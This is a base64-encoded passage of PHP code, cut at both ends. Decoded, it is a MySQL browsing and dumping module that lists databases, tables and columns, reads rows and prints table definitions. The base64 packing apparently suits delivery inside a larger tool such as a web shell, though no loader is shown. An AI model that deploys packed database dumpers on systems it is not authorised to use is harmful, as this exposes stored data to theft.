ICAgICAgICBlY2hvICRjID4gMCA/ICciJyAuICR2IC4gJyInIDogJHY7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gbXlzcWxFc2NEYXRhKCR2KSB7CiAgICAgICAgICAgIHJldHVybiAiJyIgLiBzdHJfcmVwbGFjZShhcnJheSgKICAgICAgICAgICAgICAgICdcXCcsCiAgICAgICAgICAgICAgICAiJyIsCiAgICAgICAgICAgICAgICAnIicsCiAgICAgICAgICAgICAgICAiXDAiLAogICAgICAgICAgICAgICAgIlxuIiwKICAgICAgICAgICAgICAgICJcciIsCiAgICAgICAgICAgICAgICAiXHgxQSIKICAgICAgICAgICAgKSwgYXJyYXkoCiAgICAgICAgICAgICAgICAnXFxcXCcsCiAgICAgICAgICAgICAgICAiXFwnIiwKICAgICAgICAgICAgICAgICdcXCInLAogICAgICAgICAgICAgICAgJ1xcMCcsCiAgICAgICAgICAgICAgICAnXFxuJywKICAgICAgICAgICAgICAgICdcXHInLAogICAgICAgICAgICAgICAgJ1xcWicKICAgICAgICAgICAgKSwgJHYpIC4gIiciOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBteXNxbEVzY05hbWUoKSB7CiAgICAgICAgICAgICRhID0gZnVuY19nZXRfYXJncygpOwogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkayA9PiAkdikKICAgICAgICAgICAgICAgICRhWyRrXSA9ICdgJyAuIHN0cl9yZXBsYWNlKCdgJywgJ2BgJywgJHYpIC4gJ2AnOwogICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLicsICRhKTsKICAgICAgICB9CiAgICAgICAgY2xhc3MgTXlTUUxCYXNlIGV4dGVuZHMgU1FMQmFzZSB7CiAgICAgICAgICAgIHZhciAkaGF2ZVNjaGVtYXMgPSBGQUxTRSwgJGNhblBhZ2luYXRlID0gVFJVRTsKICAgICAgICAgICAgZnVuY3Rpb24gY2hhcnNldCgkaykgewogICAgICAgICAgICAgICAgJHYgPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAndXRmOCcsCiAgICAgICAgICAgICAgICAgICAgJ3V0ZjE2JywKICAgICAgICAgICAgICAgICAgICAnY3AxMjUwJywKICAgICAgICAgICAgICAgICAgICAnY3AxMjUxJywKICAgICAgICAgICAgICAgICAgICAnbGF0aW4xJywKICAgICAgICAgICAgICAgICAgICAnbGF0aW41JywKICAgICAgICAgICAgICAgICAgICAnY3AxMjU2JywKICAgICAgICAgICAgICAgICAgICAnY3AxMjU3JywKICAgICAgICAgICAgICAgICAgICAnbGF0aW4xJywKICAgICAgICAgICAgICAgICAgICAnbGF0aW4yJywKICAgICAgICAgICAgICAgICAgICAnZ3JlZWsnLAogICAgICAgICAgICAgICAgICAgICdoZWJyZXcnLAogICAgICAgICAgICAgICAgICAgICdsYXRpbjUnLAogICAgICAgICAgICAgICAgICAgICdsYXRpbjcnLAogICAgICAgICAgICAgICAgICAgICdiaWc1JywKICAgICAgICAgICAgICAgICAgICAnZ2JrJywKICAgICAgICAgICAgICAgICAgICAnc2ppcycsCiAgICAgICAgICAgICAgICAgICAgJ2V1Y2tyJywKICAgICAgICAgICAgICAgICAgICAndWppcycsCiAgICAgICAgICAgICAgICAgICAgJ2NwODY2JywKICAgICAgICAgICAgICAgICAgICAna29pOHInLAogICAgICAgICAgICAgICAgICAgICdrb2k4dScKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICByZXR1cm4gaXNzZXQoJHZbJGtdKSA/ICR2WyRrXSA6ICd1dGY4JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBwYXJzZUNydFRibCgkdikgewogICAgICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgJG4gPSAnYCgoPzpbXmBdfGBgKSspYCc7CiAgICAgICAgICAgICAgICAkbCA9ICcgXCgoKD86YCg/OlteYF18YGApK2AsPykrKVwpJzsKICAgICAgICAgICAgICAgICR0ID0gJyg/OiBVU0lORyAoPzpCVFJFRXxIQVNIKSk/JzsKICAgICAgICAgICAgICAgICRjID0gJyg/OlxzK0NPTlNUUkFJTlQoPzogYCg/OlteYF18YGApKylgKT9ccysnOwogICAgICAgICAgICAgICAgJGUgPSAnKGAoPzpbXmBdfGBgKStgKSc7CiAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI15ccysnIC4gJG4gLiAnIChbYS16XSspKCg/OlwofCApLispPyw/JCNVbScsICR2LCAkbSk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkbVsxXSBhcyAkayA9PiAkaSkKICAgICAgICAgICAgICAgICAgICAkYVskaV0gPSBzdHJ0b3VwcGVyKCRtWzJdWyRrXSkgLiAkbVszXVska107CiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnI14nIC4gJGMgLiAnUFJJTUFSWSBLRVknIC4gJHQgLiAkbCAuICcuKiQjVW0nLCAkdiwgJG0pKSB7CiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyMnIC4gJG4gLiAnIycsICRtWzFdLCAkbSk7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJG1bMV0gYXMgJGkpCiAgICAgICAgICAgICAgICAgICAgICAgICRhWyRpXSAuPSAnLCBQUklNQVJZIEtFWSc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaF9hbGwoJyNeXHMrKD86SU5ERVh8S0VZKSg/OiAnIC4gJGUgLiAnKT8nIC4gJHQgLiAkbCAuICcuKiQjVW0nLCAkdiwgJG0pKQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRtWzFdIGFzICRpID0+ICRrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkayAhPT0gJycpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkayA9ICcgJyAuICRrOwogICAgICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnIycgLiAkbiAuICcjJywgJG1bMl1bJGldLCAkcik7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRyWzFdIGFzICRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGldIC49ICcsIEtFWScgLiAkazsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaF9hbGwoJyNeJyAuICRjIC4gJ1VOSVFVRSg/OiAoPzpJTkRFWHxLRVkpKT8oPzogJyAuICRlIC4gJyk/JyAuICR0IC4gJGwgLiAnLiokI1VtJywgJHYsICRtKSkKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkbVsxXSBhcyAkaSA9PiAkaykgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGsgIT09ICcnKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGsgPSAnICcgLiAkazsKICAgICAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyMnIC4gJG4gLiAnIycsICRtWzJdWyRpXSwgJHIpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkclsxXSBhcyAkaSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRpXSAuPSAnLCBVTklRVUUgS0VZJyAuICRrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoX2FsbCgnI15ccysoPzpGVUxMVEVYVHxTUEFUSUFMKSg/OiAoPzpJTkRFWHxLRVkpKT8oPzogJyAuICRlIC4gJyk/JyAuICRsIC4gJy4qJCNVbScsICR2LCAkbSkpCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJG1bMV0gYXMgJGkgPT4gJGspIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRrICE9PSAnJykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRrID0gJyAnIC4gJGs7CiAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjJyAuICRuIC4gJyMnLCAkbVsyXVskaV0sICRyKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJbMV0gYXMgJGkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVskaV0gLj0gJywgRlVMTFRFWFQgS0VZJyAuICRrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoX2FsbCgnI14nIC4gJGMgLiAnRk9SRUlHTiBLRVkoPzogJyAuICRlIC4gJyk/JyAuICRsIC4gJyBSRUZFUkVOQ0VTIChgKD86W15gXXxgYCkrYCBcKCg/OmAoPzpbXmBdfGBgKStgLD8pK1wpKS4qJCNVbScsICR2LCAkbSkpCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJG1bMV0gYXMgJGkgPT4gJGspIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRrICE9PSAnJykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRrID0gJyAnIC4gJGs7CiAgICAgICAgICAgICAgICAgICAgICAgICRrIC49ICcgJyAuICRtWzNdWyRpXTsKICAgICAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyMnIC4gJG4gLiAnIycsICRtWzJdWyRpXSwgJHIpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkclsxXSBhcyAkaSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRpXSAuPSAnLCBGT1JFSUdOIEtFWScgLiAkazsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gcHJlcFR5cGUoJHYpIHsKICAgICAgICAgICAgICAgICRzID0gKCRpID0gc3RycG9zKCR2WzFdLCAnKCcpKSA/IHN0cnRvdXBwZXIoc3Vic3RyKCR2WzFdLCAwLCAkaSkpIC4gc3Vic3RyKCR2WzFdLCAkaSkgOiBzdHJ0b3VwcGVyKCR2WzFdKTsKICAgICAgICAgICAgICAgIGlmICgkdlsyXSA9PT0gJ05PJykKICAgICAgICAgICAgICAgICAgICAkcyAuPSAnIE5PVCBOVUxMJzsKICAgICAgICAgICAgICAgIGlmICgkdls0XSAhPT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICAkcyAuPSAnIERFRkFVTFQgJyAuIG15c3FsRXNjRGF0YSgkdls0XSk7CiAgICAgICAgICAgICAgICBpZiAoJHZbNV0gIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgJHMgLj0gJyAnIC4gc3RydG91cHBlcigkdls1XSk7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCR2WzNdKSB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAnUFJJJzoKICAgICAgICAgICAgICAgICAgICAgICAgJHMgLj0gJyBQUklNQVJZIEtFWSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgJ1VOSSc6CiAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcgVU5JUVVFIEtFWSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgJ01VTCc6CiAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcsIEtFWSgnIC4gbXlzcWxFc2NOYW1lKCR2WzBdKSAuICcpJzsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gJHM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0QmFzZXMoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnRyeVF1ZXJpZXMoYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ1NIT1cgREFUQUJBU0VTJywKICAgICAgICAgICAgICAgICAgICAnU0hPVyBTQ0hFTUFTJywKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIHNjaGVtYV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhJywKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIERJU1RJTkNUIHRhYmxlX3NjaGVtYSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1QgdGFibGVfc2NoZW1hIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMnCiAgICAgICAgICAgICAgICApKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRUYWJsZXMoJGIpIHsKICAgICAgICAgICAgICAgICR2ID0gbXlzcWxFc2NEYXRhKCRiKTsKICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+dHJ5UXVlcmllcyhhcnJheSgKICAgICAgICAgICAgICAgICAgICAnU0hPVyBUQUJMRVMgRlJPTSAnIC4gbXlzcWxFc2NOYW1lKCRiKSwKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIHRhYmxlX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYT0nIC4gJHYsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBESVNUSU5DVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfc2NoZW1hPScgLiAkdgogICAgICAgICAgICAgICAgKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0Q29sdW1ucygkYiwgJHQpIHsKICAgICAgICAgICAgICAgICRhID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICRlID0gbXlzcWxFc2NOYW1lKCRiLCAkdCk7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnRyeVF1ZXJpZXMoYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ1NIT1cgQ09MVU1OUyBGUk9NICcgLiAkZSwKICAgICAgICAgICAgICAgICAgICAnU0hPVyBGSUVMRFMgRlJPTSAnIC4gJGUsCiAgICAgICAgICAgICAgICAgICAgJ0RFU0MgJyAuICRlLAogICAgICAgICAgICAgICAgICAgICdERVNDUklCRSAnIC4gJGUsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBjb2x1bW5fbmFtZSxjb2x1bW5fdHlwZSxpc19udWxsYWJsZSxjb2x1bW5fa2V5LGNvbHVtbl9kZWZhdWx0LGV4dHJhIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfbmFtZT0nIC4gbXlzcWxFc2NEYXRhKCR0KSAuICcgQU5EIHRhYmxlX3NjaGVtYT0nIC4gbXlzcWxFc2NEYXRhKCRiKQogICAgICAgICAgICAgICAgKSkpIHsKICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJHYgPSAkdGhpcy0+ZmV0Y2hSb3coKSkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHZbMF1dID0gJHRoaXMtPnByZXBUeXBlKCR2KTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSAnIC4gJGUpICYmICgkdiA9ICR0aGlzLT5mZXRjaFJvdygpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnBhcnNlQ3J0VGJsKCR2WzFdKTsKICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBzZWxlY3QoJGIsICR0LCAkYywgJG8sICRsKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgJyAuIHNxbEpvaW5Db2x1bW5zKCRjLCAnbXlzcWxFc2NOYW1lJykgLiAnIEZST00gJyAuIG15c3FsRXNjTmFtZSgkYiwgJHQpIC4gJyBMSU1JVCAnIC4gJG8gLiAnLCcgLiAkbCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gb3V0Q3JlYXRlVGFibGUoJGIsICR0KSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSAnIC4gbXlzcWxFc2NOYW1lKCRiLCAkdCkpICYmICgkdiA9ICR0aGlzLT5mZXRjaFJvdygpKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIlxuIiwgJHZbMV0sICI7XG4iOwogICAgICAgICAgICAgICAgICAgIHJldHVybiAnJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkdiA9ICR0aGlzLT5nZXRDb2x1bW5zKCRiLCAkdCkpIHsKICAgICAgICAgICAgICAgICAgICBzcWxPdXRDcmVhdGUoJHQsICR2LCAnQkxPQicsICdteXNxbEVzY05hbWUnKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gc3ByaW50ZihFX0NOU1RDUywgJGIgLiAnLicgLiAkdCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgY2xhc3MgTXlTUUxDbGllbnQgZXh0ZW5kcyBNeVNRTEJhc2UgewogICAgICAgICAgICBmdW5jdGlvbiBjb25uZWN0KCRoLCAkdSwgJHAsICRiLCAkYykgewogICAgICAgICAgICAgICAgaWYgKCEoJHRoaXMtPl9jbmN0ID0gbXlzcWxfY29ubmVjdCgkaCwgJHUsICRwKSkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICAgICAgbXlzcWxfcXVlcnkoJ1NFVCBOQU1FUyAnIC4gJHRoaXMtPmNoYXJzZXQoJGMpLCAkdGhpcy0+X2NuY3QpOwogICAgICAgICAgICAgICAgaWYgKCRiICE9PSBOVUxMICYmICFteXNxbF9zZWxlY3RfZGIoJGIsICR0aGlzLT5fY25jdCkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIG15c3FsX3F1ZXJ5KCdVU0UgJyAuIG15c3FsRXNjTmFtZSgkYiksICR0aGlzLT5fY25jdCk7CiAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRFcnJvcigpIHsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+X2NuY3QpIHsKICAgICAgICAgICAgICAgICAgICAkdiA9IG15c3FsX2Vycm9yKCR0aGlzLT5fY25jdCk7CiAgICAgICAgICAgICAgICAgICAgbXlzcWxfY2xvc2UoJHRoaXMtPl9jbmN0KTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHY7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gbXlzcWxfZXJyb3IoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiB0cnlRdWVyaWVzKCRhKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPl9yZXMgPSBteXNxbF9xdWVyeSgkdiwgJHRoaXMtPl9jbmN0KSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0QmFzZXMoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gKCgkdGhpcy0+X3JlcyA9IG15c3FsX2xpc3RfZGJzKCR0aGlzLT5fY25jdCkpIHx8IHBhcmVudDo6Z2V0QmFzZXMoKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hCYXNlKCkgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdiA9IG15c3FsX2ZldGNoX3JvdygkdGhpcy0+X3JlcykpID8gJHZbMF0gOiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFRhYmxlKCkgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdiA9IG15c3FsX2ZldGNoX3JvdygkdGhpcy0+X3JlcykpID8gJHZbMF0gOiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRUYWJsZXMoJGIpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoKCR0aGlzLT5fcmVzID0gbXlzcWxfbGlzdF90YWJsZXMoJGIsICR0aGlzLT5fY25jdCkpIHx8IHBhcmVudDo6Z2V0VGFibGVzKCRiKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0VGFibGVTaXplKCRiLCAkdCkgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdiA9IG15c3FsX3F1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgRlJPTSAnIC4gbXlzcWxFc2NOYW1lKCRiLCAkdCksICR0aGlzLT5fY25jdCkpID8gbXlzcWxfcmVzdWx0KCR2LCAwKSA6ICciPyInOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvbHVtbnMoJGIsICR0KSB7CiAgICAgICAgICAgICAgICBpZiAoJGEgPSBwYXJlbnQ6OmdldENvbHVtbnMoJGIsICR0KSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICAkZSA9IG15c3FsRXNjTmFtZSgkYiwgJHQpOwogICAgICAgICAgICAgICAgJHEgPSBGQUxTRTsKICAgICAgICAgICAgICAgIGlmICgoJHEgPSBteXNxbF9saXN0X2ZpZWxkcygkYiwgJHQsICR0aGlzLT5fY25jdCkpIHx8ICgkcSA9IG15c3FsX3F1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcgLiAkZSAuICcgTElNSVQgMCcsICR0aGlzLT5fY25jdCkpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR2ID0gbXlzcWxfZmV0Y2hfZmllbGQoJHEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGRvIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzID0gJHYtPnR5cGUgPT09ICdzdHJpbmcnID8gJ1RFWFQnIDogc3RydG91cHBlcigkdi0+dHlwZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHYtPnVuc2lnbmVkKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcgVU5TSUdORUQnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2LT56ZXJvZmlsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcyAuPSAnIFpFUk9GSUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdi0+bm90X251bGwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMgLj0gJyBOT1QgTlVMTCc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJHYtPmRlZikgJiYgJHYtPmRlZiAhPT0gJycgJiYgJHYtPmRlZiAhPT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcyAuPSAnIERFRkFVTFQgJyAuIG15c3FsRXNjRGF0YSgkdi0+ZGVmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdi0+cHJpbWFyeV9rZXkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMgLj0gJyBQUklNQVJZIEtFWSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCR2LT51bmlxdWVfa2V5KQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcgVU5JUVVFIEtFWSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCR2LT5tdWx0aXBsZV9rZXkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMgLj0gJywgS0VZKCcgLiBteXNxbEVzY05hbWUoJHYtPm5hbWUpIC4gJyknOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHYtPm5hbWVdID0gJHM7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gd2hpbGUgKCR2ID0gbXlzcWxfZmV0Y2hfZmllbGQoJHEpKTsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNfc3RyaW5nKCR2ID0gbXlzcWxfZmllbGRfbmFtZSgkcSwgMCkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpID0gMDsKICAgICAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkcyA9IG15c3FsX2ZpZWxkX3R5cGUoJHEsICRpKSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHZdID0gJHMgPT09ICdzdHJpbmcnID8gJ1RFWFQnIDogc3RydG91cHBlcigkcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRhWyR2XSA9PT0gJ0lOVCcgfHwgJGFbJHZdID09PSAnUkVBTCcpICYmICgkcyA9IG15c3FsX2ZpZWxkX2xlbigkcSwgJGkpKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVskdl0gLj0gJygnIC4gJHMgLiAnKSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfc3RyaW5nKCRzID0gbXlzcWxfZmllbGRfZmxhZ3MoJHEsICRpKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRzLCAndW5zaWduZWQnKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSAuPSAnIFVOU0lHTkVEJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRzLCAnemVyb2ZpbGwnKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSAuPSAnIFpFUk9GSUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRzLCAnbm90X251bGwnKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSAuPSAnIE5PVCBOVUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRzLCAnYXV0b19pbmNyZW1lbnQnKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSAuPSAnIEFVVE9fSU5DUkVNRU5UJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRzLCAncHJpbWFyeV9rZXknKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSAuPSAnIFBSSU1BUlkgS0VZJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKHN0cnBvcygkcywgJ3VuaXF1ZV9rZXknKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSAuPSAnIFVOSVFVRSBLRVknOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoc3RycG9zKCRzLCAnbXVsdGlwbGVfa2V5JykgIT09IEZBTFNFKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVskdl0gLj0gJywgS0VZKCcgLiBteXNxbEVzY05hbWUoJHYpIC4gJyknOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9IHdoaWxlIChpc19zdHJpbmcoJHYgPSBteXNxbF9maWVsZF9uYW1lKCRxLCArKyRpKSkpOwogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCgkdiA9IG15c3FsX3F1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcgLiAkZSAuICcgTElNSVQgMScsICR0aGlzLT5fY25jdCkpICYmICgkdiA9IG15c3FsX2ZldGNoX2Fzc29jKCR2KSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkayA9PiAkcykKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdID0gJyc7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoQXNzb2MoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbXlzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPl9yZXMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoUm93KCkgewogICAgICAg